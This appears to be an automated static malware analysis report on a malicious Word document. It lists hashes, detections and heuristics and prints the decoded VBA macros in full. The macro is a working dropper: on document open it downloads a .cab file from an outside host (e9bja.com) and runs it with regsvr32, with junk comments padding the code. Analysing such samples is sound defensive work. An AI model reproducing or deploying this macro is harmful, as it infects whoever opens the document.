Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 859ee5d6161bb723…

MALICIOUS

Office (OOXML)

147.6 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: e6524bfe307ac0e25cbefd32e562f7b5 SHA-1: c82af405405cc21144e12c943a36ee785393c1b8 SHA-256: 859ee5d6161bb723f736f9ce868a3ab5a4cd5b4c07296239d0fcc49d7cdd8249
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Office document containing VBA macros, specifically an autoopen macro that utilizes URLDownloadToFile to download a file from 'the embedded link' and saves it as 'Qo.tmp'. This indicates a dropper functionality, aiming to download and execute a second-stage payload. The presence of the AutoOpen macro and the URLDownloadToFile function strongly suggests malicious intent.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-8801552-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8801552-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Hitting denied engagement
    Call URLDownloadToFile(0, "http://e9bja.com/iz5/yaca.php?l=kpt4.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "Qo.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://e9bja.com/iz5/yaca.php?l=kpt4.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2320 bytes
SHA-256: 0d5fff203c634262e402aab36049ee4b3e6e98ccfe7796bed675a1433a2174c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "Qo.tmp"
Sub autoopen()

' Aliment contributed overseer
' Outlive
' Authorization tits rod
' Lout ancona quiet

' Agreed assure dog fleece subjective dukedom
' Climber alpha
' Resists supporters qualification forecastle
' Hitting denied engagement
Call URLDownloadToFile(0, "http://e9bja.com/iz5/yaca.php?l=kpt4.cab", Vw, 0, 0)

' Feathered irrelevant normans
' Continually cross-examination motel guitar
' Ribald eocene
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Abbreviations henry copyrights freckled
' Swain shiny roam
' Administrative
' Topography

' Virus complaints workflow turbid ventral
' Texas residential ccd

' Half-moon guam delineation
' Until insoluble sark

' Nurse liberia insert emetic play
' Nag advisor photography idea snipe
' Concomitant downloaded extortion quintessence exalts
' Ferry real
' Embarkation opportunity pestilent commodities commonly

' Tanks query qualifications fans ocular
' Chance nourishing
' Piers infra
' Byzantine dp different

' Speaker
' Coral
' Stratified preventive heterodox feint aspects
' Lug armistice carnation
' Canticles

' Granny dose phillips cheese
' Talkative valparaiso
' Plan admittance

' Coy publication
' Exodus lets mats half-brother scanner overhead annotated
' Maw
' Ajar ownership draw funds simplified
Dim Yy As New WshShell

' Blanched thatch trash whore shall follower loophole
' Billiard moore archduke
' Projection erstwhile jagged unconcerned
Yy.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal OV As LongPtr, ByVal jg As String, ByVal IL As String, ByVal TY As LongPtr, ByVal s7 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal OV As Long, ByVal jg As String, ByVal IL As String, ByVal TY As Long, ByVal s7 As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 470f71b88022d1385ebb8d32c6ddbc74dcbb4125e02d9929b774dc1be3306672
Detection
ClamAV: Doc.Dropper.Agent-8801552-0
Obfuscation or payload: unlikely